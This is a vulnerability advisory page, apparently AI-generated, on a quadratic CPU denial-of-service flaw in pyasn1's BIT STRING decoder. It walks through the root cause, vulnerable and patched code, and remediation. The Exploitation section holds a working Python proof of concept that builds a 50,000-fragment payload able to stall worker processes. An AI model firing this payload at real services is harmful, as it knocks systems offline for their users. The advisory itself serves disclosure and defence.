CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-119196

CVE-2026-119196: Quadratic CPU Consumption in pyasn1 Constructed BIT STRING Decoding

Alon Barad
Alon Barad
Software Engineer

Oct 31, 2026·10 min read·5 visits

Executive Summary (TL;DR)

pyasn1 versions prior to 0.6.5 exhibit quadratic time complexity when reassembling constructed ASN.1 BIT STRING fragments. Remote attackers can transmit payloads containing thousands of small fragments to exhaust CPU resources and block application worker threads. Upgrading to pyasn1 0.6.5 resolves the issue by accumulating fragments into a mutable bytearray prior to instantiation.

A vulnerability classified under CWE-407 (Inefficient Algorithmic Complexity) exists in the pyasn1 library prior to version 0.6.5. When parsing constructed ASN.1 BIT STRING payloads under BER, CER, or schema-driven DER encoding rules, the BitStringPayloadDecoder repeatedly shifts and copies the entire accumulated bit value for each incoming fragment. Processing inputs with a large number of small constructed fragments induces quadratic CPU consumption, allowing unauthenticated remote attackers to cause a denial of service via resource exhaustion during the initial decoding phase.

Vulnerability Overview

pyasn1 is a pure-Python implementation of Abstract Syntax Notation One (ASN.1) types and codecs, including Basic Encoding Rules (BER), Canonical Encoding Rules (CER), and Distinguished Encoding Rules (DER). It serves as a foundational parsing dependency across the Python ecosystem for protocols and formats that rely on ASN.1 serialization. These include Lightweight Directory Access Protocol (LDAP), Simple Network Management Protocol (SNMP), Kerberos authentication, and X.509 Public Key Infrastructure (PKI) certificate handling.

Because pyasn1 operates at the deserialization boundary, its decoders frequently process untrusted network payloads prior to authentication or higher-level protocol validation. In versions of pyasn1 prior to 0.6.5, a flaw in pyasn1/codec/ber/decoder.py within the BitStringPayloadDecoder class introduces an algorithmic complexity vulnerability (CWE-407). Specifically, the decoder reassembles constructed BIT STRING payloads using an $O(N^2)$ accumulation mechanism rather than a linear $O(N)$ buffer append operation.

Under ASN.1 BER and CER specifications, primitive data types such as BIT STRING (universal tag 0x03) can be transmitted in a constructed encoding form (tag 0x23). A constructed BIT STRING splits a single logical bit sequence across multiple nested substring fragments, using either definite-length headers or indefinite-length streams terminated by End-Of-Octets (0x00 0x00). Furthermore, while strict DER normally mandates primitive encoding, pyasn1 accepts definite-length constructed BIT STRING inputs during DER decoding when guided by a schema (asn1Spec).

When BitStringPayloadDecoder processes a constructed BIT STRING, it iterates through each inner fragment and combines it with the previously decoded bits. Prior to version 0.6.5, each iteration instantiated a new BitString object by shifting and copying the entire accumulated bit value from all preceding fragments. An attacker who supplies a compact ASN.1 payload containing tens of thousands of minimal BIT STRING fragments forces the Python interpreter to perform quadratic arbitrary-precision integer arithmetic and memory allocations, exhausting CPU resources and stalling the host process.

Root Cause Analysis

To understand the root cause of CVE-2026-119196, it is necessary to examine how pyasn1 represents BIT STRING values internally and how BitStringPayloadDecoder processes segmented inputs. In pyasn1, each primitive BIT STRING fragment begins with a leading metadata octet that specifies the number of trailing unused bits (an integer from 0 to 7) in the final byte of that fragment, followed by the raw payload bytes.

Internally, pyasn1 backs univ.BitString instances using SizedInteger, a subclass of Python's arbitrary-precision int annotated with a bit-length attribute. When BitString.fromOctetString() is invoked with the prepend parameter set to an existing BitString instance, the method converts the newly supplied byte slice into a SizedInteger, left-shifts the entire previously accumulated SizedInteger by the bit length of the new fragment, and performs a bitwise OR operation to merge the values.

In Python, int objects are immutable arbitrary-precision byte arrays managed by the runtime. Left-shifting and bitwise-ORing an existing multi-kilobyte int requires allocating a new memory block proportional to the total accumulated bit size and copying all prior limbs before appending the new bits. When BitStringPayloadDecoder processes $N$ sequential fragments of size $M$ bits, the work performed at step $k$ ($1 \le k \le N$) is proportional to $k \cdot M$.

Across all $N$ fragments, the total computational and memory copying cost is governed by the arithmetic series:

$$\sum_{k=1}^{N} (k \cdot M) = M \cdot \frac{N(N + 1)}{2} = O(N^2)$$

Because each minimal ASN.1 primitive BIT STRING fragment requires only 4 bytes on the wire (0x03 0x02 0x00 <byte>), a 200 KB network payload can pack 50,000 discrete fragments. Instead of performing 50,000 byte appends, the decoder executes roughly $1.25 \times 10^9$ byte-equivalent shift and copy operations across immutable big-integer objects. This happens entirely inside decoder.decode(), halting execution before control returns to the calling application.

Code Analysis

The vulnerability resides in pyasn1/codec/ber/decoder.py within the BitStringPayloadDecoder class, affecting both valueDecoder (which handles definite-length encodings) and indefLenValueDecoder (which handles indefinite-length encodings). Prior to commit 73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c, both methods initialized an empty BitString and repeatedly invoked self.protoComponent.fromOctetString() inside the fragment parsing loop.

# Vulnerable implementation in pyasn1 < 0.6.5 (pyasn1/codec/ber/decoder.py)
bitString = self.protoComponent.fromOctetString(b'', internalFormat=True)
current_position = substrate.tell()
 
while substrate.tell() - current_position < length:
    for component in decodeFun(substrate, asn1Spec,
                               tagSet, None, state,
                               substrateFun=substrateFun,
                               **options):
        if isinstance(component, SubstrateUnderrunError):
            yield component
 
    trailingBits = component[0]
    if trailingBits > 7:
        raise error.PyAsn1Error('Trailing bits overflow %s' % trailingBits)
 
    # BUG: Repeatedly passes accumulated 'bitString' as 'prepend',
    # triggering full SizedInteger shift and reallocation on every iteration.
    bitString = self.protoComponent.fromOctetString(
        component[1:], internalFormat=True,
        prepend=bitString, padding=trailingBits
    )
 
yield self._createComponent(asn1Spec, tagSet, bitString, **options)

To eliminate the quadratic reallocation overhead, the patch in version 0.6.5 introduces a static helper method, _appendFragment(), and replaces the intermediate BitString object inside the loop with a mutable bytearray (assembled) and an integer counter tracking total valid bits (bitLength).

# Patched implementation in pyasn1 0.6.5 (Commit 73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c)
@staticmethod
def _appendFragment(assembled, component, bitLength):
    trailingBits = component[0]
    if trailingBits > 7:
        raise error.PyAsn1Error('Trailing bits overflow %s' % trailingBits)
 
    payload = component[1:]
    if not payload:
        if trailingBits:
            raise error.PyAsn1Error('Trailing bits overflow %s' % trailingBits)
        return bitLength
 
    # Fast path: when both existing buffer and new fragment are byte-aligned,
    # append raw bytes directly in O(1) amortized time.
    if not trailingBits and not bitLength % 8:
        assembled.extend(payload)
        return bitLength + len(payload) * 8
 
    # Unaligned bit-packing path: shift and merge individual bytes in-place
    # at the tail of the mutable bytearray without copying prior data.
    for idx, byte in enumerate(payload):
        significantBits = 8
        if idx == len(payload) - 1:
            significantBits -= trailingBits
            byte >>= trailingBits
 
        usedBits = bitLength % 8
        if not usedBits:
            assembled.append(byte << (8 - significantBits))
        elif usedBits + significantBits <= 8:
            assembled[-1] |= byte << (8 - usedBits - significantBits)
        else:
            remainingBits = usedBits + significantBits - 8
            assembled[-1] |= byte >> remainingBits
            assembled.append((byte << (8 - remainingBits)) & 0xff)
 
        bitLength += significantBits
 
    return bitLength

In both valueDecoder and indefLenValueDecoder, the loop now calls bitLength = self._appendFragment(assembled, component, bitLength) for each fragment. Once all fragments have been collected into assembled, self.protoComponent.fromOctetString() is executed exactly once:

bitString = self.protoComponent.fromOctetString(
    assembled, internalFormat=True, padding=(-bitLength) % 8
)

> [!NOTE] > Fix Completeness Assessment: The patch completely resolves the quadratic complexity in constructed BIT STRING decoding across both definite-length and indefinite-length modes. Even when an attacker supplies non-zero trailingBits on intermediate fragments to bypass the assembled.extend(payload) fast path, the fallback byte-packing loop only mutates assembled[-1] and appends single bytes to the end of the bytearray, maintaining strict $O(N)$ linear time complexity relative to total input bytes.

Exploitation

Exploiting CVE-2026-119196 requires no authentication or pre-existing session state if the target application exposes an ASN.1 decoding routine to untrusted network traffic. The attacker constructs a nested ASN.1 BIT STRING payload and delivers it over the relevant transport protocol. Three distinct encoding configurations can reach the vulnerable code path in BitStringPayloadDecoder:

  1. BER/CER Definite-Length Constructed Mode: The outer container uses tag 0x23 (Constructed Universal BIT STRING) followed by a definite length header encapsulating thousands of inner primitive BIT STRING elements (0x03).
  2. BER/CER Indefinite-Length Constructed Mode: The outer container specifies 0x23 0x80, streams a sequence of primitive BIT STRING chunks (0x03), and terminates with End-Of-Octets (0x00 0x00).
  3. Schema-Driven DER Mode: Although pyasn1.codec.der.decoder disables constructed BIT STRING decoding by default for untyped inputs, passing an explicit schema (asn1Spec=univ.BitString()) or a complex sequence specification containing a BitString field re-enables constructed fragment reassembly.

The following proof-of-concept demonstrates how to generate a compact definite-length constructed BIT STRING payload that triggers quadratic CPU exhaustion on pyasn1 versions prior to 0.6.5:

import time
from pyasn1.codec.ber import decoder
 
def encode_definite_length(length: int) -> bytes:
    if length < 128:
        return bytes([length])
    octets = length.to_bytes((length.bit_length() + 7) // 8, 'big')
    return bytes([0x80 | len(octets)]) + octets
 
# Each primitive fragment is 4 bytes:
# Tag: 0x03 (Primitive BIT STRING)
# Length: 0x02 (2 bytes of content)
# Padding: 0x00 (0 unused trailing bits)
# Payload: 0x81 (1 byte of bit data)
fragment = b'\x03\x02\x00\x81'
num_fragments = 50000
body = fragment * num_fragments
 
# Wrap in Tag 0x23 (Constructed BIT STRING) with definite length
payload = b'\x23' + encode_definite_length(len(body)) + body
 
start = time.perf_counter()
value, rest = decoder.decode(payload)
elapsed = time.perf_counter() - start
print(f"Decoded {num_fragments} fragments in {elapsed:.4f}s")

When executed against pyasn1 0.6.4, decoding 50,000 fragments (a 200 KB payload) pins a CPU core at 100% utilization for an extended period while shifting increasingly large SizedInteger instances. Against pyasn1 0.6.5, the identical 200 KB payload hits the byte-aligned fast path in _appendFragment() and completes decoding in milliseconds.

Impact Assessment

The security impact of CVE-2026-119196 is confined to system availability, reflected in its CVSS v3.1 score of 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). Because the vulnerability is purely algorithmic and operates within managed Python memory structures (SizedInteger and BitString), it does not allow arbitrary code execution, memory corruption, or unauthorized information disclosure (C:N/I:N).

However, the availability impact (A:H) is acute for Python network services. Due to CPython's Global Interpreter Lock (GIL), CPU-bound bytecode execution and large-integer arithmetic inside BitStringPayloadDecoder prevent other Python threads within the same worker process from making progress. In asynchronous event-loop architectures (such as asyncio or Twisted) or synchronous multi-threaded WSGI/ASGI servers, a single malicious request blocks the entire worker process until the quadratic loop finishes.

An attacker with low-bandwidth network access can repeatedly transmit relatively small payloads (e.g., 100 KB to 500 KB) across concurrent connections to saturate all available worker processes. Because the resource exhaustion occurs inside decoder.decode() before the ASN.1 structure is returned to the caller, application-level validation logic cannot inspect or reject the malformed structure until the CPU spike has already occurred.

According to threat intelligence metrics, CVE-2026-119196 currently has an EPSS score of 0.00425 (36.80th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. While no weaponized exploit modules have been observed in active campaigns, regression test cases in the public repository make constructing a functional proof-of-concept trivial.

Remediation

The definitive remediation for CVE-2026-119196 is to upgrade the pyasn1 package to version 0.6.5 or later. Version 0.6.5 contains commit 73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c, which replaces the iterative SizedInteger prepending logic with linear bytearray accumulation.

Administrators and developers should update their Python environments and container build manifests using pip or their respective dependency managers:

pip install --upgrade "pyasn1>=0.6.5"

For environments where immediate package upgrades are blocked by dependency freezes, several defense-in-depth measures can reduce exposure:

  • Enforce Strict Payload Size Limits: Because the number of fragments $N$ in a single payload is bounded by the total byte size divided by 4 (the minimum size of a non-empty primitive BIT STRING TLV), restricting maximum accepted ASN.1 request sizes at the reverse proxy or socket read layer caps the maximum quadratic amplification factor.
  • Disable Constructed Encoding Where Permitted: If an application strictly requires DER compliance and does not rely on schema-guided constructed BIT STRING decoding, callers can verify that the raw tag octet is primitive (0x03) rather than constructed (0x23) prior to invoking the decoder, or configure custom decoder maps where BitStringPayloadDecoder.supportConstructedForm is set to False.
  • Process Isolation and Worker Timeouts: Run ASN.1 parsing workloads inside pre-forked worker processes configured with strict CPU execution timeouts (e.g., Gunicorn --timeout or Celery task soft/hard time limits) so that stalled workers are terminated and recycled automatically.

Official Patches

pyasn1Official GitHub commit fixing quadratic constructed BIT STRING reassembly
pyasn1pyasn1 v0.6.5 Release Notes
pyasn1GitHub Security Advisory GHSA-2qm8-x737-gmw5

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.43%
Top 63% most exploited

Affected Systems

pyasn1

Affected Versions Detail

Product
Affected Versions
Fixed Version
pyasn1
pyasn1
< 0.6.50.6.5
AttributeDetail
Vulnerability TypeCWE-407: Inefficient Algorithmic Complexity
Attack VectorNetwork (Unauthenticated ASN.1 BER/CER/DER Payload)
CVSS v3.1 Score7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
EPSS Score0.43% (36.80th Percentile)
Primary ImpactDenial of Service via Quadratic CPU Exhaustion
Affected Componentpyasn1 BitStringPayloadDecoder (< 0.6.5)
Patched Versionpyasn1 0.6.5
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1499.004Application or System Exploitation
Impact
CWE-407
Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that is detrimental to system performance and can be triggered by attacker-controlled inputs to cause resource exhaustion.

Known Exploits & Detection

GitHubOfficial patch commit containing regression unit tests demonstrating constructed BIT STRING fragment decoding.

Vulnerability Timeline

Upstream patch committed (73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c) removing quadratic constructed BIT STRING reassembly.
2026-09-24
pyasn1 version 0.6.5 released to PyPI.
2026-10-26
CVE-2026-119196 and GitHub Security Advisory GHSA-2qm8-x737-gmw5 officially published.
2026-10-29
NIST NVD analysis completed and FIRST EPSS score initialized.
2026-10-30

References & Sources

  • [1]GitHub Security Advisory: GHSA-2qm8-x737-gmw5
  • [2]Official Patch Commit (73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c)
  • [3]pyasn1 Pull Request #132
  • [4]pyasn1 v0.6.5 Release
  • [5]NIST National Vulnerability Database (NVD) - CVE-2026-119196
  • [6]CVE.org Record: CVE-2026-119196
  • [7]Red Hat Bugzilla #2563666
  • [8]Red Hat Security CVE Tracker: CVE-2026-119196

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•40 minutes ago•CVE-2026-119197
7.5

CVE-2026-119197: Quadratic Algorithmic Complexity Denial of Service in pyasn1 REAL Mantissa Decoder

An algorithmic complexity vulnerability (CWE-407) in pyasn1 versions prior to 0.6.5 allows unauthenticated attackers to cause a Denial of Service (DoS) via crafted ASN.1 payloads. The flaw resides in the binary-encoded ASN.1 REAL mantissa deserialization routine within RealPayloadDecoder.valueDecoder. By performing iterative byte-string slicing and repeated bitwise shifts on a growing arbitrary-precision integer, the decoder exhibits quadratic time and memory allocation complexity relative to the mantissa length. Supplying a BER-, CER-, or DER-encoded payload with a large REAL mantissa causes excessive CPU consumption and blocks application worker processes.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 3 hours ago•CVE-2026-119209
5.5

CVE-2026-119209: Uncontrolled Resource Consumption in pypdf XRef Stream Parser

CVE-2026-119209 is an uncontrolled resource consumption vulnerability in the pypdf Python library prior to version 6.21.3. The flaw exists within the PDF 1.5 cross-reference (XRef) stream parsing routines in pypdf/_reader.py. Due to the absence of a document-wide entry limit across chained cross-reference streams and improper validation of negative entry counts in the /Index array, an attacker can craft a compact PDF file that triggers excessive memory allocation, resulting in a Denial of Service (DoS) via MemoryError or process termination.

Alon Barad
Alon Barad
5 views•11 min read
•about 4 hours ago•CVE-2026-119208
7.1

CVE-2026-119208: Uncontrolled Resource Consumption in pypdf Encrypted Page Count Evaluation

CVE-2026-119208 is an uncontrolled resource consumption vulnerability in the pypdf Python library prior to version 6.21.3. When processing an encrypted PDF file after successful decryption, the get_num_pages() method fails to verify whether the encryption handler has already unlocked the document. Consequently, pypdf returns the unvalidated /Count integer directly from the /Pages catalog dictionary instead of traversing and flattening the actual page tree. Attackers can supply an encrypted PDF with an artificially inflated /Count attribute to trigger excessive memory allocation and prolonged CPU usage during downstream operations such as page iteration or label resolution.

Amit Schendel
Amit Schendel
6 views•9 min read
•about 5 hours ago•CVE-2026-119207
7.1

CVE-2026-119207: Asymmetric Resource Consumption in pypdf Dictionary Parser

CVE-2026-119207 (GHSA-4vqv-7265-gm2w) is an asymmetric resource consumption and denial-of-service (DoS) vulnerability in the open-source Python PDF manipulation library pypdf. In versions prior to 6.21.3, the DictionaryObject.read_from_stream method fails to bound exception message lengths when encountering malformed, unclosed dictionary structures in strict mode. When nested dictionary parsing fails, each level catches the inner exception and raises a new PdfReadError initialized with the string representation (exc.__repr__()) of the caught exception. This recursive wrapping causes geometric string expansion across the call stack, enabling a minimal PDF payload of a few hundred bytes to exhaust gigabytes of heap memory and crash the host Python process.

Alon Barad
Alon Barad
6 views•10 min read
•about 6 hours ago•CVE-2026-119206
7.1

CVE-2026-119206: Algorithmic Complexity Denial of Service in pypdf Page Label Resolution

CVE-2026-119206 is an algorithmic complexity vulnerability in pypdf prior to version 6.21.3 that causes uncontrolled CPU resource consumption when evaluating the page_labels property. Due to repeated linear scans of the PDF catalog's /PageLabels number tree from index zero for each individual page, processing a document with a large number of pages and label ranges scales quadratically. An unauthenticated attacker can supply a crafted PDF document to an application that reads page labels, resulting in prolonged execution times and denial of service.

Amit Schendel
Amit Schendel
8 views•10 min read
•about 7 hours ago•CVE-2026-116672
8.8

CVE-2026-116672: Authorization Bypass in Authlib RFC 7592 Client Configuration Endpoint

Authlib versions 0.15 through 1.9.0 contain an authorization bypass vulnerability (CWE-639) in the RFC 7592 ClientConfigurationEndpoint implementation and its corresponding reference documentation. The framework fails to verify that the presented registration access token belongs to the target client specified in the request, and the official reference implementations for authenticate_client and check_permission omit token-to-client binding checks. Consequently, an authenticated client holding any valid registration access token can read, modify, or delete the registration metadata of arbitrary clients on the authorization server.

Alon Barad
Alon Barad
6 views•8 min read